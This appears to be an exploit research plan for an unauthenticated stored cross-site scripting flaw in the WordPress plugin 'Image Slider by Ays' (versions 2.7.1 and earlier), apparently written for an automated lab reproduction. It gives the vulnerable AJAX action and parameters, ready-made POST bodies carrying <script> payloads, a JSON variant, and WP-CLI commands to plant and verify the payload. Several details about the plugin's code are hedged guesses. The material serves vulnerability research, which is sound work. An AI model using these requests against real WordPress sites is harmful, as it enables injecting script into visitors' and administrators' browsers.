Image Slider by Ays- Responsive Slider and Carousel <= 2.7.1 - Unauthenticated Stored Cross-Site Scripting

This research plan targets a Stored Cross-Site Scripting (XSS) vulnerability in the Image Slider by Ays plugin (versions <= 2.7.1). The vulnerability allows unauthenticated attackers to inject malicious scripts into slider configurations via an AJAX endpoint that lacks proper authentication, capability checks, and output escaping.

1. Vulnerability Summary

• Vulnerability: Unauthenticated Stored Cross-Site Scripting (XSS).
• Location: The plugin registers AJAX actions for saving slider data without verifying the requester's capabilities or using nonces. Malicious input is stored in the database and subsequently rendered on the frontend and admin pages without sufficient sanitization or escaping.
• Source File: admin/class-ays-slider-admin.php (handles admin logic) and includes/class-ays-slider.php (likely registers AJAX hooks).
• Vulnerable Sink: The "Slider Title" and "Slider Description" fields are intentionally designed to "Support HTML" (according to README.txt), but this is not restricted to administrative users.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: ays_slider_save_slider (or ays_slider_create_slider).
• Parameter: ays_slider_title or ays_slider_description.
• Authentication: None (reachable via wp_ajax_nopriv_ays_slider_save_slider).
• Preconditions: The plugin must be active. If the slider list is empty, an attacker may first need to use a creation action.

3. Code Flow

1. Entry Point: An unauthenticated POST request is sent to admin-ajax.php with the action parameter set to ays_slider_save_slider.
2. AJAX Registration: The plugin registers add_action('wp_ajax_nopriv_ays_slider_save_slider', ...) without performing a current_user_can() check inside the callback.
3. Storage (Sink): The handler receives the ays_slider_title parameter and saves it directly to the database (likely the {$wpdb->prefix}ays_slider_sliders table) using $wpdb->insert or $wpdb->update.
4. Rendering: When a page containing the [ays_slider id="X"] shortcode is viewed, the plugin retrieves the slider data and echoes the title/description. Because the plugin explicitly supports HTML in these fields (as per README.txt), it fails to use esc_html() or restrictive wp_kses().

4. Nonce Acquisition Strategy

Based on admin/class-ays-slider-admin.php, the localized script data (AysSliderAdmin) does not include a nonce for the AJAX URL.

• Action String: N/A (likely missing).
• Bypass: The registration of wp_ajax_nopriv_ actions often implies the developers did not intend for these actions to be protected by WordPress nonces.
• Confirmation: Grep the source for the action to see if check_ajax_referer is used.

  grep -rn "ays_slider_save_slider" .
  

5. Exploitation Strategy

The goal is to create or update a slider with an XSS payload in the title.

Step 1: Check for unauthenticated access
Verify if the nopriv action is registered.

grep -rn "wp_ajax_nopriv_ays_slider_save_slider" .

Step 2: Inject the XSS Payload
Send a POST request to admin-ajax.php. If no slider ID is provided, the plugin typically creates a new one.

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Content-Type: application/x-www-form-urlencoded
• Body:

  action=ays_slider_save_slider&ays_slider_title=Malicious+Slider<script>alert(document.domain)</script>&ays_slider_description=Stored+XSS+Proof&ays_slider_id=
  

Step 3: Identify the Slider ID
The response from the AJAX request often returns the ID of the newly created or updated slider (e.g., {"status":true,"id":1}). If not, use WP-CLI to find the latest ID.

Step 4: Trigger the XSS
Place the slider on a public page and visit it.

• Shortcode: [ays_slider id="1"] (replace 1 with the ID from Step 3).

6. Test Data Setup

1. Activate Plugin: Ensure ays-slider is installed and activated.
2. Create Trigger Page: Create a public WordPress page containing the shortcode.

   wp post create --post_type=page --post_status=publish --post_title="Slider Test" --post_content='[ays_slider id="1"]'
   

7. Expected Results

• The admin-ajax.php request should return a 200 OK status and a success message.
• The database table should contain the payload.
• When navigating to the "Slider Test" page in a browser, an alert box showing the document domain should appear.

8. Verification Steps

1. Check Database:

   wp db query "SELECT title FROM wp_ays_slider_sliders ORDER BY id DESC LIMIT 1"
   

   Confirm the output contains <script>alert(document.domain)</script>.
2. Inspect Page Source: Use browser_navigate to the trigger page and check if the payload is rendered unescaped in the HTML.

9. Alternative Approaches

If ays_slider_save_slider is not the correct action or uses a different format:

• Action Search: Search for any nopriv actions that handle "save", "update", or "create".

  grep -r "wp_ajax_nopriv" .
  

• JSON Payload: Some Ays plugins expect the slider data as a JSON string in a single parameter:

  action=ays_slider_save_slider&ays_slider_data={"title":"<script>alert(1)</script>","description":"test"}
  

• Slide-specific XSS: Target the ays_slider_slides parameter if the slider title is escaped but individual slide titles/descriptions are not. Slides often use their own table (e.g., wp_ays_slider_slides).